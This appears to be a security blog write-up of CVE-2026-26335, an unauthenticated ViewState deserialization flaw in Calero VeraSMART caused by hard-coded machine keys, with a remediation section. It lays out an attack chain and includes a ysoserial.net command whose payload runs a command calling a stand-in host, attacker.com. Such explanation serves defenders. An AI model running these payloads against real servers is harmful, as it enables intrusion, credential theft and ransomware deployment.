Skeleton Keys in the Expense Report: The Calero VeraSMART RCE

In the exciting world of Telecom Expense Management (TEM), software like Calero VeraSMART is the boring, reliable workhorse that tracks phone bills and data usage for large enterprises. It lives deep in the corporate intranet, trusted with sensitive financial data and integration points into the wider network. It's the kind of software nobody looks at twice—until it starts popping shells.

CVE-2026-26335 is not a subtle bug. It isn't a complex heap feng-shui maneuver or a race condition that requires nanosecond precision. It is the digital equivalent of a bank vault manufacturer setting the combination for every single vault they sell to 1-2-3-4.

Because of this oversight, an unauthenticated attacker can turn this expense management platform into a beachhead for a full-scale network compromise. If you can reach the login page, you own the server. No credentials required, no phishing needed. Just a serialized payload and a dream.

To understand this vulnerability, you need a quick refresher on ASP.NET ViewState. ViewState is that massive, ugly Base64 string you see in the HTML source of older .NET applications (<input type="hidden" name="__VIEWSTATE" ... />). It's how the server remembers the state of the UI (like what you typed into a form) between stateless HTTP requests.

Because ViewState is stored on the client side (the browser), it must be protected. If a user can tamper with it, they can modify server-side variables. To prevent this, ASP.NET uses a Machine Key (machineKey) to sign (HMAC) and optionally encrypt the data. When the server receives the ViewState back, it checks the signature using its key. If the signature matches, the server trusts the data and—crucially—deserializes it.

The flaw in VeraSMART is almost impressive in its simplicity: the developers hard-coded the validationKey and decryptionKey directly into the web.config file distributed with the installer.

Instead of generating unique keys during installation (the standard practice), every instance of VeraSMART < 2022 R1 shares the exact same cryptographic DNA. If you know the key for one, you know the key for them all. And since the installer is public, everyone knows the key.

Normally, a secure web.config lets the IIS server handle key generation automatically, or an admin generates them once. Here is what the vulnerable configuration looks like. This block effectively disables the security mechanism by making the secret public knowledge.

Vulnerable web.config

<configuration>
  <system.web>
    <!-- 
      Look at this beauty. A static, hard-coded key 
      shared across the entire customer base. 
    -->
    <machineKey 
      validationKey="F3690E7A31...[STATIC_VALUE]...9A2B" 
      decryptionKey="4D5A2F...[STATIC_VALUE]...890C" 
      validation="SHA1" 
      decryption="AES" 
    />
  </system.web>
</configuration>

The Fix

The patch doesn't just change the numbers; it changes the methodology. In versions 2022 R1 and later, the vendor removed these static entries, allowing the .NET framework to default to AutoGenerate,IsolateApps. This ensures that every server creates its own unique ephemeral keys, or forces the administrator to generate them manually during setup.

> [!NOTE] > Deserialization vulnerabilities are often called the "Bug of a Decade" because they are so devastating. When the server deserializes the ViewState, it reconstructs objects in memory. If the attacker controls the object type (via the Gadget Chain), they can force the application to execute code during the reconstruction process, often before the application logic even runs.

Exploiting this is trivial for anyone familiar with the .NET attack surface. Since we have the validationKey and decryptionKey (extracted from the vendor's installer or a leaked config), we become the Certificate Authority of this application. We can sign anything we want, and the server will trust it.

Here is the attack chain:

1. Preparation: The attacker extracts the keys from the vulnerable software version.
2. Payload Generation: Using a tool like ysoserial.net, the attacker generates a serialized object payload. The target is likely using the ObjectStateFormatter (default for ViewState).
3. Weaponization: The attacker wraps the payload in a valid ViewState structure, encrypts it, and signs it using the stolen keys.

# Conceptual attack command using ysoserial.net
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "cmd.exe /c ping attacker.com" \
  --validkey="F3690E7A..." \
  --decrypkey="4D5A2F..." \
  --generator="[TargetPageHexID]"

4. Delivery: The attacker sends a POST request to the VeraSMART login page (/Login.aspx or similar), replacing the legitimate __VIEWSTATE parameter with their malicious blob.
5. Detonation: IIS receives the request. It verifies the signature (Pass). It decrypts the blob (Pass). It deserializes the object... and immediately executes the embedded command.

The result is code execution as NT AUTHORITY\NETWORK SERVICE or SYSTEM, depending on the IIS configuration. From there, it's game over.

The impact here cannot be overstated. We are talking about unauthenticated Remote Code Execution on a server that is likely joined to a corporate domain.

• Data Exfiltration: VeraSMART holds call records, billing data, and potentially integration credentials for other financial systems.
• Lateral Movement: IIS servers are excellent jump boxes. They often have broad network visibility. An attacker can dump credentials from memory (LSASS) or use the compromised host to tunnel traffic into the internal network.
• Ransomware: With system-level access, deploying a cryptolocker binary is a one-line command.

The "Exploit Intelligence" indicates this was seen in the wild in March 2025. This isn't theoretical; threat actors are actively scanning for these exposed web.config signatures or blindly throwing ViewState payloads at VeraSMART instances.

The official remediation is to upgrade to Calero VeraSMART 2022 R1 or later. However, if you are stuck in change-management purgatory, you can apply a manual fix immediately.

Manual Remediation Strategy

You must replace the static keys in web.config with unique, cryptographically strong values. You can generate these using a simple PowerShell script:

function Generate-Key($length) {
    $bytes = New-Object byte[] $length
    (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($bytes)
    return [BitConverter]::ToString($bytes).Replace("-", "")
}
 
Write-Host "ValidationKey: $(Generate-Key 64)"
Write-Host "DecryptionKey: $(Generate-Key 32)"

Paste the new keys into your web.config. Warning: This will invalidate any existing sessions or ViewStates, so do this during a maintenance window. Users will be logged out.

Finally, ensure your web.config is not accessible via a browser request (IIS typically blocks this by default, but misconfigurations happen).